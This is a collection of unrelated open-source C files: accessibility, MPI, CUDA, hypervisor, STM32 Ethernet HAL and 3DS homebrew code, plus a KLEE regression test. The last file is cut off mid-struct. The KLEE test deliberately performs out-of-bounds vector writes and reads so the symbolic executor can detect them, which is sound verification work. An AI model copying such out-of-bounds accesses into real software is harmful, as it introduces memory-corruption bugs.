gint start_offset,
gint end_offset,
AtkCoordType coords,
gint x,
gint y);
};
ATK_AVAILABLE_IN_ALL
GType atk_text_get_type (void);
/*
* Additional AtkObject properties used by AtkText:
* "accessible_text" (accessible text has changed)
* "accessible_caret" (accessible text cursor position changed:
* editable text only)
*/
ATK_AVAILABLE_IN_ALL
gchar* atk_text_get_text (AtkText *text,
gint start_offset,
gint end_offset);
ATK_AVAILABLE_IN_ALL
gunichar atk_text_get_character_at_offset (AtkText *text,
gint offset);
ATK_DEPRECATED_IN_2_10_FOR(atk_text_get_string_at_offset)
gchar* atk_text_get_text_after_offset (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
ATK_DEPRECATED_IN_2_10_FOR(atk_text_get_string_at_offset)
gchar* atk_text_get_text_at_offset (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
ATK_DEPRECATED_IN_2_10_FOR(atk_text_get_string_at_offset)
gchar* atk_text_get_text_before_offset (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
ATK_AVAILABLE_IN_2_10
gchar* atk_text_get_string_at_offset (AtkText *text,
gint offset,
AtkTextGranularity granularity,
gint *start_offset,
gint *end_offset);
ATK_AVAILABLE_IN_ALL
gint atk_text_get_caret_offset (AtkText *text);
ATK_AVAILABLE_IN_ALL
void atk_text_get_character_extents (AtkText *text,
gint offset,
gint *x,
gint *y,
gint *width,
gint *height,
AtkCoordType coords);
ATK_AVAILABLE_IN_ALL
AtkAttributeSet* atk_text_get_run_attributes (AtkText *text,
gint offset,
gint *start_offset,
gint *end_offset);
ATK_AVAILABLE_IN_ALL
AtkAttributeSet* atk_text_get_default_attributes (AtkText *text);
ATK_AVAILABLE_IN_ALL
gint atk_text_get_character_count (AtkText *text);
ATK_AVAILABLE_IN_ALL
gint atk_text_get_offset_at_point (AtkText *text,
gint x,
gint y,
AtkCoordType coords);
ATK_AVAILABLE_IN_ALL
gint atk_text_get_n_selections (AtkText *text);
ATK_AVAILABLE_IN_ALL
gchar* atk_text_get_selection (AtkText *text,
gint selection_num,
gint *start_offset,
gint *end_offset);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_add_selection (AtkText *text,
gint start_offset,
gint end_offset);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_remove_selection (AtkText *text,
gint selection_num);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_set_selection (AtkText *text,
gint selection_num,
gint start_offset,
gint end_offset);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_set_caret_offset (AtkText *text,
gint offset);
ATK_AVAILABLE_IN_ALL
void atk_text_get_range_extents (AtkText *text,
gint start_offset,
gint end_offset,
AtkCoordType coord_type,
AtkTextRectangle *rect);
ATK_AVAILABLE_IN_ALL
AtkTextRange** atk_text_get_bounded_ranges (AtkText *text,
AtkTextRectangle *rect,
AtkCoordType coord_type,
AtkTextClipType x_clip_type,
AtkTextClipType y_clip_type);
ATK_AVAILABLE_IN_ALL
void atk_text_free_ranges (AtkTextRange **ranges);
ATK_AVAILABLE_IN_ALL
void atk_attribute_set_free (AtkAttributeSet *attrib_set);
ATK_AVAILABLE_IN_ALL
const gchar* atk_text_attribute_get_name (AtkTextAttribute attr);
ATK_AVAILABLE_IN_ALL
AtkTextAttribute atk_text_attribute_for_name (const gchar *name);
ATK_AVAILABLE_IN_ALL
const gchar* atk_text_attribute_get_value (AtkTextAttribute attr,
gint index_);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_scroll_substring_to (AtkText *text,
gint start_offset,
gint end_offset,
AtkScrollType type);
ATK_AVAILABLE_IN_ALL
gboolean atk_text_scroll_substring_to_point (AtkText *text,
gint start_offset,
gint end_offset,
AtkCoordType coords,
gint x,
gint y);
G_END_DECLS
#endif /* __ATK_TEXT_H__ */
|
c85d58c3449e8b36068e7bd8ecd52af0e7e57e12
|
549f66608f0cb4e50cee2e51c53206e798ab82cd
|
/test/VectorInstructions/oob-llvm-lt11.c
|
9d80ef7d56c2c4ff13d05d68b1617dd7b03a6c22
|
[
"NCSA"
] |
permissive
|
klee/klee
|
c8da2f9668ee199af47cd2c784cea979017d7704
|
7082eafd05b4f268132ab94772c0243dbebf5087
|
refs/heads/master
| 2023-08-04T08:10:38.619540
| 2023-06-23T21:34:12
| 2023-07-21T09:00:02
| 11,568,417
| 2,339
| 679
|
NOASSERTION
| 2023-09-11T10:23:26
| 2013-07-21T22:03:03
|
C++
|
UTF-8
|
C
| false
| false
| 1,331
|
c
|
oob-llvm-lt11.c
|
// REQUIRES: lt-llvm-11.0
// RUN: %clang %s -emit-llvm %O0opt -g -c -o %t1.bc
// RUN: rm -rf %t.klee-out
// NOTE: Have to pass `--optimize=false` to avoid vector operations being
// constant folded away.
// RUN: %klee --output-dir=%t.klee-out --optimize=false %t1.bc > %t.stdout.log 2> %t.stderr.log
// RUN: FileCheck -input-file=%t.stderr.log %s
#include "klee/klee.h"
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
typedef uint32_t v4ui __attribute__((vector_size(16)));
int main() {
v4ui f = {1, 2, 3, 4};
int k = klee_range(0, 10, "k");
if (k == 0) {
// CHECK-DAG: [[@LINE+1]]: Out of bounds write when inserting element
f[4] = 255; // Out of bounds write
}
if (k == 1) {
// CHECK-DAG: [[@LINE+1]]: Out of bounds read when extracting element
printf("f[4] = %u\n", f[5]); // Out of bounds
}
if (k > 6) {
// Performing read should be ExtractElement instruction.
// For now this is an expected limitation.
// CHECK-DAG: [[@LINE+1]]: ExtractElement, support for symbolic index not implemented
uint32_t readValue = f[k];
}
else {
// Performing write should be InsertElement instructions.
// For now this is an expected limitation.
// CHECK-DAG: [[@LINE+1]]: InsertElement, support for symbolic index not implemented
f[k] = 255;
}
return 0;
}
|
1e223871fa008af6b8b2b11c15bb9055e2e9daa2
|
3381a1d873db7f17ae9c3dd73c80d5a4d78e5888
|
/examples/http-parser/main.c
|
a122e0f2f74625c5866d482d6e583769e13b626e
|
[
"BSD-2-Clause"
] |
permissive
|
cpp-pm/hunter
|
0ad83226591ec55fe53fa7231a1ebe66d3c948c3
|
eb3c4ed0dc9dff5465a42a02328283a59f8e7919
|
refs/heads/master
| 2023-08-16T15:50:11.042008
| 2023-07-31T09:00:51
| 2023-07-31T09:00:51
| 204,031,579
| 570
| 209
|
BSD-2-Clause
| 2023-08-14T11:29:34
| 2019-08-23T16:10:46
|
CMake
|
UTF-8
|
C
| false
| false
| 71
|
c
|
main.c
|
#include <http_parser.h>
int main() { return http_parser_version(); }
|
fc3db9f02f8770bd4d33749216c168927ae284aa
|
1f399edf85d995443d01f66d77eca0723886d0ff
|
/hypervisor/include/arch/x86/asm/default_acpi_info.h
|
f6762bd8dad77ca922851514d4e2f7f8efd36798
|
[
"BSD-3-Clause"
] |
permissive
|
projectacrn/acrn-hypervisor
|
f9c5864d54929a5d2fa36b5e78c08f19b46b8f98
|
390740aa1b1e9d62c51f8e3afa0c29e07e43fa23
|
refs/heads/master
| 2023-08-18T05:07:01.310327
| 2023-08-11T07:49:36
| 2023-08-16T13:20:27
| 123,983,554
| 1,059
| 686
|
BSD-3-Clause
| 2023-09-14T09:51:10
| 2018-03-05T21:52:25
|
C
|
UTF-8
|
C
| false
| false
| 1,441
|
h
|
default_acpi_info.h
|
/*
* Copyright (C) 2018-2022 Intel Corporation.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
/* Given the reality that some of ACPI configrations are unlikey changed,
* define these MACROs in this header file.
* The platform_acpi_info.h still has chance to override the default
* definition by #undef with offline tool.
*/
#ifndef DEFAULT_ACPI_INFO_H
#define DEFAULT_ACPI_INFO_H
/* APIC */
#define LAPIC_BASE 0xFEE00000UL
#define IOAPIC0_BASE 0xFEC00000UL
#define IOAPIC1_BASE 0UL
/* pm sstate data */
#define PM1A_EVT_SPACE_ID SPACE_SYSTEM_IO
#define PM1A_EVT_BIT_WIDTH 0x20U
#define PM1A_EVT_BIT_OFFSET 0U
#define PM1B_EVT_SPACE_ID SPACE_SYSTEM_IO
#define PM1B_EVT_BIT_WIDTH 0U
#define PM1B_EVT_BIT_OFFSET 0U
#define PM1B_EVT_ACCESS_SIZE 0U
#define PM1B_EVT_ADDRESS 0UL
#define PM1A_CNT_SPACE_ID SPACE_SYSTEM_IO
#define PM1A_CNT_BIT_WIDTH 0x10U
#define PM1A_CNT_BIT_OFFSET 0U
#define PM1A_CNT_ACCESS_SIZE 2U
#define PM1B_CNT_SPACE_ID SPACE_SYSTEM_IO
#define PM1B_CNT_BIT_WIDTH 0U
#define PM1B_CNT_BIT_OFFSET 0U
#define PM1B_CNT_ACCESS_SIZE 0U
#define PM1B_CNT_ADDRESS 0UL
#define S3_PKG_VAL_PM1A 0x05U
#define S3_PKG_VAL_PM1B 0U
#define S3_PKG_RESERVED 0U
#define S5_PKG_VAL_PM1A 0x07U
#define S5_PKG_VAL_PM1B 0U
#define S5_PKG_RESERVED 0U
/* reset register */
#define RESET_REGISTER_BIT_WIDTH 0x08U
#define RESET_REGISTER_BIT_OFFSET 0U
#define RESET_REGISTER_ACCESS_SIZE 0x01U
#endif /* DEFAULT_ACPI_INFO_H */
|
bccb4178cc6647b07873d601bf554fc586aef447
|
9d79ae2c57a31dd2108ade80e51147a1718c83a3
|
/include/float4.h
|
351b75e9d395a6df92ba25a0dca75cca90889f1b
|
[
"MIT"
] |
permissive
|
takagi/cl-cuda
|
94c8a33be93f20e19a57f7d842b5de301c8830b4
|
0df19d5b2beb032fa22fde948e5aca1cd7fa283f
|
refs/heads/master
| 2021-07-20T02:50:34.746585
| 2021-07-18T14:14:44
| 2021-07-18T14:14:44
| 4,234,390
| 241
| 36
|
MIT
| 2021-10-09T21:45:22
| 2012-05-05T14:42:25
|
Common Lisp
|
UTF-8
|
C
| false
| false
| 1,096
|
h
|
float4.h
|
/**
This file is a part of cl-cuda project.
Copyright (c) 2013 Masayuki Takagi (kamonama@gmail.com)
*/
#ifndef CL_CUDA_FLOAT4_H_
#define CL_CUDA_FLOAT4_H_
__device__ float4 float4_add ( float4 a, float4 b )
{
return make_float4 ( a.x + b.x, a.y + b.y, a.z + b.z, a.w + b.w );
}
__device__ float4 float4_sub ( float4 a, float4 b )
{
return make_float4 ( a.x - b.x, a.y - b.y, a.z - b.z, a.w - b.w );
}
__device__ float4 float4_scale ( float4 a, float k )
{
return make_float4 ( a.x * k, a.y * k, a.z * k, a.w * k );
}
__device__ float4 float4_scale_flipped ( float k, float4 a )
{
return float4_scale ( a, k );
}
__device__ float4 float4_scale_inverted ( float4 a, float k )
{
return float4_scale ( a, 1.0 / k );
}
__device__ float4 float4_negate ( float4 x )
{
return make_float4 ( - x.x, -x.y, -x.z, -x.w );
}
__device__ float4 float4_recip ( float4 x )
{
return make_float4 ( 1.0 / x.x, 1.0 / x.y, 1.0 / x.z, 1.0 / x.w );
}
__device__ float float4_dot ( float4 a, float4 b )
{
return a.x * b.x + a.y * b.y + a.z * b.z + a.w * b.w;
}
#endif // CL_CUDA_FLOAT4_H_
|
5aa92eef8e60058de6b64686dc1dc55e63aaa118
|
e814383d36a10839104efaa4df277996ab220fa3
|
/ompi/mpi/c/win_get_attr.c
|
cf89c3fa1bdfd245335c53ab2fb399ea438a9273
|
[
"mpich2",
"BSD-3-Clause-Open-MPI"
] |
permissive
|
open-mpi/ompi
|
a1d7483ae1d83dd8fd8ae3ee95e832e0a0ee04e3
|
1edfdb025c4450f694600083ad871cf06c8d45cd
|
refs/heads/main
| 2023-09-01T01:30:02.040705
| 2023-08-29T17:32:18
| 2023-08-29T17:32:18
| 24,107,001
| 2,008
| 973
|
NOASSERTION
| 2023-09-14T20:59:26
| 2014-09-16T16:08:30
|
C
|
UTF-8
|
C
| false
| false
| 2,435
|
c
|
win_get_attr.c
|
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */
/*
* Copyright (c) 2004-2007 The Trustees of Indiana University and Indiana
* University Research and Technology
* Corporation. All rights reserved.
* Copyright (c) 2004-2020 The University of Tennessee and The University
* of Tennessee Research Foundation. All rights
* reserved.
* Copyright (c) 2004-2005 High Performance Computing Center Stuttgart,
* University of Stuttgart. All rights reserved.
* Copyright (c) 2004-2005 The Regents of the University of California.
* All rights reserved.
* Copyright (c) 2015 Los Alamos National Security, LLC. All rights
* reserved.
* Copyright (c) 2015 Research Organization for Information Science
* and Technology (RIST). All rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#include "ompi_config.h"
#include <stdio.h>
#include "ompi/mpi/c/bindings.h"
#include "ompi/runtime/params.h"
#include "ompi/communicator/communicator.h"
#include "ompi/errhandler/errhandler.h"
#include "ompi/attribute/attribute.h"
#include "ompi/win/win.h"
#if OMPI_BUILD_MPI_PROFILING
#if OPAL_HAVE_WEAK_SYMBOLS
#pragma weak MPI_Win_get_attr = PMPI_Win_get_attr
#endif
#define MPI_Win_get_attr PMPI_Win_get_attr
#endif
static const char FUNC_NAME[] = "MPI_Win_get_attr";
int MPI_Win_get_attr(MPI_Win win, int win_keyval,
void *attribute_val, int *flag)
{
int ret;
if (MPI_PARAM_CHECK) {
OMPI_ERR_INIT_FINALIZE(FUNC_NAME);
if (ompi_win_invalid(win)) {
return OMPI_ERRHANDLER_NOHANDLE_INVOKE(MPI_ERR_WIN, FUNC_NAME);
} else if ((NULL == attribute_val) || (NULL == flag)) {
return OMPI_ERRHANDLER_INVOKE(win, MPI_ERR_ARG, FUNC_NAME);
} else if (MPI_KEYVAL_INVALID == win_keyval) {
return OMPI_ERRHANDLER_INVOKE(win, MPI_ERR_KEYVAL, FUNC_NAME);
}
}
/* This stuff is very confusing. Be sure to see
src/attribute/attribute.c for a lengthy comment explaining Open
MPI attribute behavior. */
ret = ompi_attr_get_c(win->w_keyhash, win_keyval,
(void**)attribute_val, flag);
OMPI_ERRHANDLER_RETURN(ret, win, MPI_ERR_OTHER, FUNC_NAME);
}
|
0d20b4c1db42169894c5bdbafe2bd338b72392be
|
5afb6e0e2b32e96b46bc4cfdd3fee8c266c2420b
|
/source/main.c
|
49c9cd128b8eb553d8092d5575887ff6aabe5238
|
[
"MIT"
] |
permissive
|
Nanquitas/BootNTR
|
f4ad52ee883941543cbafd1be35cde8847e90ece
|
e0e754e6110b9d169bb9248eced29a709fd21495
|
refs/heads/master
| 2022-09-18T23:37:45.010732
| 2022-08-30T10:35:40
| 2022-08-30T10:35:40
| 56,778,440
| 716
| 80
|
MIT
| 2018-08-04T12:11:33
| 2016-04-21T14:02:23
|
C
|
UTF-8
|
C
| false
| false
| 3,886
|
c
|
main.c
|
#include "main.h"
#include "draw.h"
#include "config.h"
#include "button.h"
#include <time.h>
extern bootNtrConfig_t *bnConfig;
u8 *tmpBuffer;
char *g_primary_error = NULL;
char *g_secondary_error = NULL;
char *g_third_error = NULL;
bool g_exit = false;
int main(void)
{
u32 keys;
u32 kernelVersion;
int ret;
gfxInitDefault();
drawInit();
romfsInit();
ptmSysmInit();
initUI();
hidScanInput();
keys = (hidKeysDown() | hidKeysHeld());
if (keys & KEY_SELECT)
resetConfig();
configInit();
// If keys == X or if config say we should check an update
/*if (keys & KEY_X || bnConfig->checkForUpdate)
{
// Check if the 3DS is connected
acInit();
u32 wifiStatus;
ACU_GetWifiStatus(&wifiStatus);
if (wifiStatus)
{
amInit();
httpcInit(0);
if (launchUpdater())
{
newAppStatus(DEFAULT_COLOR, CENTER | BOLD | NEWLINE, "Updated !");
goto waitForExit;
}
}
}*/
kernelVersion = osGetKernelVersion();
waitAllKeysReleased();
initMainMenu();
ret = mainMenu();
if (ret == 2) goto waitForExit;
if (!g_exit)
{
ret = bnBootNTR();
if (!ret)
{
newAppStatus(DEFAULT_COLOR, CENTER | BOLD | NEWLINE, "Success !");
#if EXTENDEDMODE
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY | NEWLINE, "Press Home to launch");
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY, "your game.");
updateUI();
g_exit = true;
while (aptMainLoop())
{
updateUI();
}
goto exit;
#else
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY | NEWLINE, "Returning to home");
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY, "menu ...");
g_exit = true;
updateUI();
svcSleepThread(100000);
goto exit;
#endif
}
}
if (g_exit || ret)
{
newAppStatus(DEFAULT_COLOR, CENTER | BOLD | NEWLINE, "Load failed !");
if (!g_third_error) newAppStatus(DEFAULT_COLOR, CENTER | BOLD, "\uE00A");
if (g_primary_error != NULL)
{
if (g_primary_error == UNKNOWN_FIRM)
{
newAppStatus(DEFAULT_COLOR, TINY | CENTER, "#Firmware unknown");
newAppStatus(DEFAULT_COLOR, TINY | CENTER, "#Detected firm: %d.%d.%d", \
GET_VERSION_MAJOR(kernelVersion), \
GET_VERSION_MINOR(kernelVersion), \
GET_VERSION_REVISION(kernelVersion));
}
else
newAppStatus(DEFAULT_COLOR, TINY | CENTER, "#%s", g_primary_error);
}
if (g_secondary_error != NULL)
newAppStatus(DEFAULT_COLOR, TINY | CENTER, "#%s", g_secondary_error);
if (g_third_error != NULL)
newAppStatus(DEFAULT_COLOR, TINY | CENTER, "#%s", g_third_error);
waitForExit:
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY | NEWLINE, "Press any key to");
if (g_exit)
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY, "return to HomeMenu");
else
newAppStatus(DEFAULT_COLOR, CENTER | TINY | SKINNY, "reboot");
while (aptMainLoop())
{
updateUI();
hidScanInput();
keys = hidKeysDown();
if (keys)
break;
}
}
exit:
configExit();
exitMainMenu();
exitUI();
acExit();
amExit();
httpcExit();
romfsExit();
drawExit();
gfxExit();
if (!g_exit)
PTMSYSM_RebootAsync(0);
ptmSysmExit();
return (0);
}
|
4f9e28e62df31ad6d784c90b6066b576c6f6c290
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/bsp/stm32/libraries/STM32H5xx_HAL/STM32H5xx_HAL_Driver/Inc/stm32h5xx_hal_eth.h
|
7cab4dab158fd8fc36704641cd7abb04e34368c0
|
[
"Apache-2.0",
"Zlib",
"LicenseRef-scancode-proprietary-license",
"MIT",
"BSD-3-Clause",
"X11",
"BSD-4-Clause-UC",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 83,546
|
h
|
stm32h5xx_hal_eth.h
|
/**
******************************************************************************
* @file stm32h5xx_hal_eth.h
* @author MCD Application Team
* @brief Header file of ETH HAL module.
******************************************************************************
* @attention
*
* Copyright (c) 2023 STMicroelectronics.
* All rights reserved.
*
* This software is licensed under terms that can be found in the LICENSE file
* in the root directory of this software component.
* If no LICENSE file comes with this software, it is provided AS-IS.
*
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef STM32H5xx_HAL_ETH_H
#define STM32H5xx_HAL_ETH_H
#ifdef __cplusplus
extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
#include "stm32h5xx_hal_def.h"
#if defined(ETH)
/** @addtogroup STM32H5xx_HAL_Driver
* @{
*/
/** @addtogroup ETH
* @{
*/
/* Exported types ------------------------------------------------------------*/
#ifndef ETH_TX_DESC_CNT
#define ETH_TX_DESC_CNT 4U
#endif /* ETH_TX_DESC_CNT */
#ifndef ETH_RX_DESC_CNT
#define ETH_RX_DESC_CNT 4U
#endif /* ETH_RX_DESC_CNT */
#ifndef ETH_SWRESET_TIMEOUT
#define ETH_SWRESET_TIMEOUT 500U
#endif /* ETH_SWRESET_TIMEOUT */
#ifndef ETH_MDIO_BUS_TIMEOUT
#define ETH_MDIO_BUS_TIMEOUT 1000U
#endif /* ETH_MDIO_BUS_TIMEOUT */
#ifndef ETH_MAC_US_TICK
#define ETH_MAC_US_TICK 1000000U
#endif /* ETH_MAC_US_TICK */
/*********************** Descriptors struct def section ************************/
/** @defgroup ETH_Exported_Types ETH Exported Types
* @{
*/
/**
* @brief ETH DMA Descriptor structure definition
*/
typedef struct
{
__IO uint32_t DESC0;
__IO uint32_t DESC1;
__IO uint32_t DESC2;
__IO uint32_t DESC3;
uint32_t BackupAddr0; /* used to store rx buffer 1 address */
uint32_t BackupAddr1; /* used to store rx buffer 2 address */
} ETH_DMADescTypeDef;
/**
*
*/
/**
* @brief ETH Buffers List structure definition
*/
typedef struct __ETH_BufferTypeDef
{
uint8_t *buffer; /*<! buffer address */
uint32_t len; /*<! buffer length */
struct __ETH_BufferTypeDef *next; /*<! Pointer to the next buffer in the list */
} ETH_BufferTypeDef;
/**
*
*/
/**
* @brief DMA Transmit Descriptors Wrapper structure definition
*/
typedef struct
{
uint32_t TxDesc[ETH_TX_DESC_CNT]; /*<! Tx DMA descriptors addresses */
uint32_t CurTxDesc; /*<! Current Tx descriptor index for packet transmission */
uint32_t *PacketAddress[ETH_TX_DESC_CNT]; /*<! Ethernet packet addresses array */
uint32_t *CurrentPacketAddress; /*<! Current transmit NX_PACKET addresses */
uint32_t BuffersInUse; /*<! Buffers in Use */
uint32_t releaseIndex; /*<! Release index */
} ETH_TxDescListTypeDef;
/**
*
*/
/**
* @brief Transmit Packet Configuration structure definition
*/
typedef struct
{
uint32_t Attributes; /*!< Tx packet HW features capabilities.
This parameter can be a combination of @ref ETH_Tx_Packet_Attributes*/
uint32_t Length; /*!< Total packet length */
ETH_BufferTypeDef *TxBuffer; /*!< Tx buffers pointers */
uint32_t SrcAddrCtrl; /*!< Specifies the source address insertion control.
This parameter can be a value of @ref ETH_Tx_Packet_Source_Addr_Control */
uint32_t CRCPadCtrl; /*!< Specifies the CRC and Pad insertion and replacement control.
This parameter can be a value of @ref ETH_Tx_Packet_CRC_Pad_Control */
uint32_t ChecksumCtrl; /*!< Specifies the checksum insertion control.
This parameter can be a value of @ref ETH_Tx_Packet_Checksum_Control */
uint32_t MaxSegmentSize; /*!< Sets TCP maximum segment size only when TCP segmentation is enabled.
This parameter can be a value from 0x0 to 0x3FFF */
uint32_t PayloadLen; /*!< Sets Total payload length only when TCP segmentation is enabled.
This parameter can be a value from 0x0 to 0x3FFFF */
uint32_t TCPHeaderLen; /*!< Sets TCP header length only when TCP segmentation is enabled.
This parameter can be a value from 0x5 to 0xF */
uint32_t VlanTag; /*!< Sets VLAN Tag only when VLAN is enabled.
This parameter can be a value from 0x0 to 0xFFFF*/
uint32_t VlanCtrl; /*!< Specifies VLAN Tag insertion control only when VLAN is enabled.
This parameter can be a value of @ref ETH_Tx_Packet_VLAN_Control */
uint32_t InnerVlanTag; /*!< Sets Inner VLAN Tag only when Inner VLAN is enabled.
This parameter can be a value from 0x0 to 0x3FFFF */
uint32_t InnerVlanCtrl; /*!< Specifies Inner VLAN Tag insertion control only when Inner VLAN is enabled.
This parameter can be a value of @ref ETH_Tx_Packet_Inner_VLAN_Control */
void *pData; /*!< Specifies Application packet pointer to save */
} ETH_TxPacketConfig;
/**
*
*/
/**
* @brief ETH Timestamp structure definition
*/
typedef struct
{
uint32_t TimeStampLow;
uint32_t TimeStampHigh;
} ETH_TimeStampTypeDef;
/**
*
*/
#ifdef HAL_ETH_USE_PTP
/**
* @brief ETH Timeupdate structure definition
*/
typedef struct
{
uint32_t Seconds;
uint32_t NanoSeconds;
} ETH_TimeTypeDef;
/**
*
*/
#endif /* HAL_ETH_USE_PTP */
/**
* @brief DMA Receive Descriptors Wrapper structure definition
*/
typedef struct
{
uint32_t RxDesc[ETH_RX_DESC_CNT]; /*<! Rx DMA descriptors addresses. */
uint32_t ItMode; /*<! If 1, DMA will generate the Rx complete interrupt.
If 0, DMA will not generate the Rx complete interrupt. */
uint32_t RxDescIdx; /*<! Current Rx descriptor. */
uint32_t RxDescCnt; /*<! Number of descriptors . */
uint32_t RxDataLength; /*<! Received Data Length. */
uint32_t RxBuildDescIdx; /*<! Current Rx Descriptor for building descriptors. */
uint32_t RxBuildDescCnt; /*<! Number of Rx Descriptors awaiting building. */
uint32_t pRxLastRxDesc; /*<! Last received descriptor. */
ETH_TimeStampTypeDef TimeStamp; /*<! Time Stamp Low value for receive. */
void *pRxStart; /*<! Pointer to the first buff. */
void *pRxEnd; /*<! Pointer to the last buff. */
} ETH_RxDescListTypeDef;
/**
*
*/
/**
* @brief ETH MAC Configuration Structure definition
*/
typedef struct
{
uint32_t
SourceAddrControl; /*!< Selects the Source Address Insertion or Replacement Control.
This parameter can be a value of @ref ETH_Source_Addr_Control */
FunctionalState
ChecksumOffload; /*!< Enables or Disable the checksum checking for received packet payloads TCP, UDP or ICMP headers */
uint32_t InterPacketGapVal; /*!< Sets the minimum IPG between Packet during transmission.
This parameter can be a value of @ref ETH_Inter_Packet_Gap */
FunctionalState GiantPacketSizeLimitControl; /*!< Enables or disables the Giant Packet Size Limit Control. */
FunctionalState Support2KPacket; /*!< Enables or disables the IEEE 802.3as Support for 2K length Packets */
FunctionalState CRCStripTypePacket; /*!< Enables or disables the CRC stripping for Type packets.*/
FunctionalState AutomaticPadCRCStrip; /*!< Enables or disables the Automatic MAC Pad/CRC Stripping.*/
FunctionalState Watchdog; /*!< Enables or disables the Watchdog timer on Rx path.*/
FunctionalState Jabber; /*!< Enables or disables Jabber timer on Tx path.*/
FunctionalState JumboPacket; /*!< Enables or disables receiving Jumbo Packet
When enabled, the MAC allows jumbo packets of 9,018 bytes
without reporting a giant packet error */
uint32_t Speed; /*!< Sets the Ethernet speed: 10/100 Mbps.
This parameter can be a value of @ref ETH_Speed */
uint32_t DuplexMode; /*!< Selects the MAC duplex mode: Half-Duplex or Full-Duplex mode
This parameter can be a value of @ref ETH_Duplex_Mode */
FunctionalState LoopbackMode; /*!< Enables or disables the loopback mode */
FunctionalState
CarrierSenseBeforeTransmit; /*!< Enables or disables the Carrier Sense Before Transmission in Full Duplex Mode. */
FunctionalState ReceiveOwn; /*!< Enables or disables the Receive Own in Half Duplex mode. */
FunctionalState
CarrierSenseDuringTransmit; /*!< Enables or disables the Carrier Sense During Transmission in the Half Duplex mode */
FunctionalState
RetryTransmission; /*!< Enables or disables the MAC retry transmission, when a collision occurs in Half Duplex mode.*/
uint32_t BackOffLimit; /*!< Selects the BackOff limit value.
This parameter can be a value of @ref ETH_Back_Off_Limit */
FunctionalState
DeferralCheck; /*!< Enables or disables the deferral check function in Half Duplex mode. */
uint32_t
PreambleLength; /*!< Selects or not the Preamble Length for Transmit packets (Full Duplex mode).
This parameter can be a value of @ref ETH_Preamble_Length */
FunctionalState
UnicastSlowProtocolPacketDetect; /*!< Enable or disables the Detection of Slow Protocol Packets with unicast address. */
FunctionalState SlowProtocolDetect; /*!< Enable or disables the Slow Protocol Detection. */
FunctionalState CRCCheckingRxPackets; /*!< Enable or disables the CRC Checking for Received Packets. */
uint32_t
GiantPacketSizeLimit; /*!< Specifies the packet size that the MAC will declare it as Giant, If it's size is
greater than the value programmed in this field in units of bytes
This parameter must be a number between
Min_Data = 0x618 (1518 byte) and Max_Data = 0x3FFF (32 Kbyte). */
FunctionalState ExtendedInterPacketGap; /*!< Enable or disables the extended inter packet gap. */
uint32_t ExtendedInterPacketGapVal; /*!< Sets the Extended IPG between Packet during transmission.
This parameter can be a value from 0x0 to 0xFF */
FunctionalState ProgrammableWatchdog; /*!< Enable or disables the Programmable Watchdog.*/
uint32_t WatchdogTimeout; /*!< This field is used as watchdog timeout for a received packet
This parameter can be a value of @ref ETH_Watchdog_Timeout */
uint32_t
PauseTime; /*!< This field holds the value to be used in the Pause Time field in the transmit control packet.
This parameter must be a number between
Min_Data = 0x0 and Max_Data = 0xFFFF.*/
FunctionalState
ZeroQuantaPause; /*!< Enable or disables the automatic generation of Zero Quanta Pause Control packets.*/
uint32_t
PauseLowThreshold; /*!< This field configures the threshold of the PAUSE to be checked for automatic retransmission of PAUSE Packet.
This parameter can be a value of @ref ETH_Pause_Low_Threshold */
FunctionalState
TransmitFlowControl; /*!< Enables or disables the MAC to transmit Pause packets in Full Duplex mode
or the MAC back pressure operation in Half Duplex mode */
FunctionalState
UnicastPausePacketDetect; /*!< Enables or disables the MAC to detect Pause packets with unicast address of the station */
FunctionalState ReceiveFlowControl; /*!< Enables or disables the MAC to decodes the received Pause packet
and disables its transmitter for a specified (Pause) time */
uint32_t TransmitQueueMode; /*!< Specifies the Transmit Queue operating mode.
This parameter can be a value of @ref ETH_Transmit_Mode */
uint32_t ReceiveQueueMode; /*!< Specifies the Receive Queue operating mode.
This parameter can be a value of @ref ETH_Receive_Mode */
FunctionalState DropTCPIPChecksumErrorPacket; /*!< Enables or disables Dropping of TCPIP Checksum Error Packets. */
FunctionalState ForwardRxErrorPacket; /*!< Enables or disables forwarding Error Packets. */
FunctionalState ForwardRxUndersizedGoodPacket; /*!< Enables or disables forwarding Undersized Good Packets.*/
} ETH_MACConfigTypeDef;
/**
*
*/
/**
* @brief ETH DMA Configuration Structure definition
*/
typedef struct
{
uint32_t DMAArbitration; /*!< Sets the arbitration scheme between DMA Tx and Rx
This parameter can be a value of @ref ETH_DMA_Arbitration */
FunctionalState AddressAlignedBeats; /*!< Enables or disables the AHB Master interface address aligned
burst transfers on Read and Write channels */
uint32_t BurstMode; /*!< Sets the AHB Master interface burst transfers.
This parameter can be a value of @ref ETH_Burst_Mode */
FunctionalState RebuildINCRxBurst; /*!< Enables or disables the AHB Master to rebuild the pending beats
